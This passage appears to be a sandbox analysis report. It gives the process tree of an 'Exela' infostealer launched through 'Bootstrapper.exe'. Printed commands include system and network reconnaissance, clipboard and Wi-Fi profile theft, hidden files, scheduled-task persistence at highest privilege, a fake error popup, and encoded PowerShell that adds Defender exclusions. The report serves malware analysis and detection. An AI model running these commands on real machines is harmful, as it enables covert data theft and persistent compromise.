    "C:\Windows\Exela.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:3548
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2920
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        Suspicious use of AdjustPrivilegeToken
        
        PID:3704
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4028
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get Manufacturer
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2132
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:4164
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "gdb --version"
      4⤵
      PID:5472
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5312
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:344
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5096
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path Win32_ComputerSystem get Manufacturer
        5⤵
        
        PID:4596
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5872
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:4852
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2812
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:4384
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe""
      4⤵
      Hide Artifacts: Hidden Files and Directories
      Suspicious use of WriteProcessMemory
      PID:4164
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe"
        5⤵
        Views/modifies file attributes
        
        PID:4072
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "schtasks /query /TN "ExelaUpdateService""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4432
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /query /TN "ExelaUpdateService"
        5⤵
        
        PID:5208
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "schtasks /create /f /sc onlogon /rl highest /tn "ExelaUpdateService" /tr "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe""
      4⤵
      PID:4236
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "ExelaUpdateService" /tr "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5736
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "schtasks /create /f /sc hourly /mo 1 /rl highest /tn "ExelaUpdateService2" /tr "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe""
      4⤵
      PID:5168
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc hourly /mo 1 /rl highest /tn "ExelaUpdateService2" /tr "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5364
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""
      4⤵
      PID:4256
    - - C:\Windows\system32\mshta.exe
        
        mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
        5⤵
        
        PID:5808
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist"
      4⤵
      PID:6116
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        
        PID:1204
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
      4⤵
      PID:2316
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        5⤵
        
        PID:3588
      - C:\Windows\system32\chcp.com
        
        chcp
        6⤵
        
        PID:4432
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
      4⤵
      PID:648
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        5⤵
        
        PID:3600
      - C:\Windows\system32\chcp.com
        
        chcp
        6⤵
        
        PID:5296
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      PID:3508
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        
        PID:3828
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
      4⤵
      Clipboard Data
      PID:5328
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:5040
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:2068
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3996
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
      4⤵
      Network Service Discovery
      PID:5828
    - - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        5⤵
        Gathers system information
        
        PID:5448
    - - C:\Windows\system32\HOSTNAME.EXE
        
        hostname
        5⤵
        
        PID:5344
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic logicaldisk get caption,description,providername
        5⤵
        Collects information from the system
        
        PID:1856
    - - C:\Windows\system32\net.exe
        
        net user
        5⤵
        
        PID:5956
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user
        6⤵
        
        PID:5288
    - - C:\Windows\system32\query.exe
        
        query user
        5⤵
        
        PID:5936
      - C:\Windows\system32\quser.exe
        
        "C:\Windows\system32\quser.exe"
        6⤵
        
        PID:2132
    - - C:\Windows\system32\net.exe
        
        net localgroup
        5⤵
        
        PID:6068
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup
        6⤵
        
        PID:1552
    - - C:\Windows\system32\net.exe
        
        net localgroup administrators
        5⤵
        
        PID:1444
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        6⤵
        
        PID:2148
    - - C:\Windows\system32\net.exe
        
        net user guest
        5⤵
        
        PID:2760
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user guest
        6⤵
        
        PID:400
    - - C:\Windows\system32\net.exe
        
        net user administrator
        5⤵
        
        PID:1336
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user administrator
        6⤵
        
        PID:4780
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic startup get caption,command
        5⤵
        
        PID:3344
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /svc
        5⤵
        Enumerates processes with tasklist
        
        PID:3508
    - - C:\Windows\system32\ipconfig.exe
        
        ipconfig /all
        5⤵
        Gathers network information
        
        PID:3232
    - - C:\Windows\system32\ROUTE.EXE
        
        route print
        5⤵
        
        PID:1348
    - - C:\Windows\system32\ARP.EXE
        
        arp -a
        5⤵
        Network Service Discovery
        
        PID:5396
    - - C:\Windows\system32\NETSTAT.EXE
        
        netstat -ano
        5⤵
        System Network Connections Discovery
        Gathers network information
        
        PID:4852
    - - C:\Windows\system32\sc.exe
        
        sc query type= service state= all
        5⤵
        Launches sc.exe
        
        PID:764
    - - C:\Windows\system32\netsh.exe
        
        netsh firewall show state
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:1328
    - - C:\Windows\system32\netsh.exe
        
        netsh firewall show config
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:2732
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      PID:340
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:3576
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      PID:2908
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:5328
- C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
  "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3512
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:716
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3224
- - C:\Windows\Exela.exe
    "C:\Windows\Exela.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3388
  - - C:\Windows\Exela.exe
      "C:\Windows\Exela.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2088
- - C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
    "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
    3⤵
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4892
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:3928
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:724
  - - C:\Windows\Exela.exe
      "C:\Windows\Exela.exe"
      4⤵
      Executes dropped EXE
      PID:1448
    - - C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3972
  - - C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
      "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
      4⤵
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:5896
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:420
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2908
    - - C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        5⤵
        Executes dropped EXE
        
        PID:5128
      - C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        6⤵
        Executes dropped EXE
        
        PID:4484
    - - C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        5⤵
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2088
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4760
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2380
      - C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        6⤵
        Executes dropped EXE
        
        PID:1588
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        7⤵
        Executes dropped EXE
        
        PID:4332
      - C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        6⤵
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:5056
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3052
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3236
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        7⤵
        Executes dropped EXE
        
        PID:6132
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        8⤵
        Executes dropped EXE
        
        PID:2472
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        7⤵
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:5452
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2940
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5472
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:5040
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        8⤵
        Executes dropped EXE
        
        PID:3076
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        9⤵
        Executes dropped EXE
        
        PID:1776
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        8⤵
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:3956
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        9⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3664
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        9⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1852
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        9⤵
        Executes dropped EXE
        
        PID:3144
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        10⤵
        Executes dropped EXE
        
        PID:5344
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        9⤵
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:4340
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        10⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3488
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AZgBjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAaQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZgBiACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcQBoACMAPgA="
        10⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2044
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        10⤵
        Executes dropped EXE
        
        PID:3076
        
        C:\Windows\Exela.exe
        
        "C:\Windows\Exela.exe"
        11⤵
        Executes dropped EXE
        
        PID:4968
        
        C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe"
        10⤵
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:5376
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAdABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AcwBuACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAZgBhAGkAbABlAGQAJwAsACcAJwAsACcATwBLACcALAAnAFcAYQByAG4AaQBuAGcAJwApADwAIwBrAHMAdwAjAD4A"
        11⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3956
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
